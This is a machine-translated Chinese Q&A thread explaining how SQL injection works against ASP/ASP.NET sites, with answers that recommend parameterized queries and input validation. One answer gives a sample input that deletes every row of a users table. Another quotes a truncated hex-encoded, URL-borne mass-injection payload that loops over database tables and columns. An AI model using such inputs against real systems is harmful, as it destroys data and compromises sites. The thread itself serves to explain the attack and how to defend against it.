我需要知道ASP或ASP.Net对注册表进行SQL注入攻击的过程吗?
6 回答
这是一个简单的例子:
屏幕输入:
enter your name: Bill'); delete from users --
构建查询
insert into users (name) values ('''+@Name+''')'
实际查询:
insert into users (name) values ('Bill'); delete from users --')
会发生什么:您的所有用户都被删除
仅供参考,不确定您正在使用的数据库,但 @Name 是一个变量,而“--”是一个注释
始终验证 SQL 查询,删除任何不需要的字符并使用 SQL 参数来避免 SQL 注入。
使用存储过程避免 SQL 注入,也使用 Server.HtmlEncode(string input)
SQL 注入攻击是将 SQL 注入用户界面元素的过程,该元素随后将在后端 SQL 服务器上执行,从而导致不良行为。单击此处查看文章,该文章通过示例解释了 SQL 注入攻击。只需使用存储过程或参数化查询即可解决 SQL 注入攻击。
攻击者不仅从表单中破解 SQL 查询,还使用 ASP 中的查询字符串或过去的方法,他们的软件可以找出使用查询字符串值的页面。攻击者在该 url 中添加他们的脚本,当网站页面代码从查询字符串中获取值并且没有检查来验证该值时。所有脚本都传递到数据库执行。url 中使用的脚本为十六进制格式,当您在查询分析器中运行此语句时,它将为可执行格式。不要在 LIVE DATABASE 上运行此脚本,要做到这一点,请创建一个虚拟数据库,然后执行它,否则您的数据库将被感染。
这些语句使 cusrors 获取数据库的所有表,然后获取表的所有列以传播注入。+declare+%40s+varchar%288000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f5343484 detail link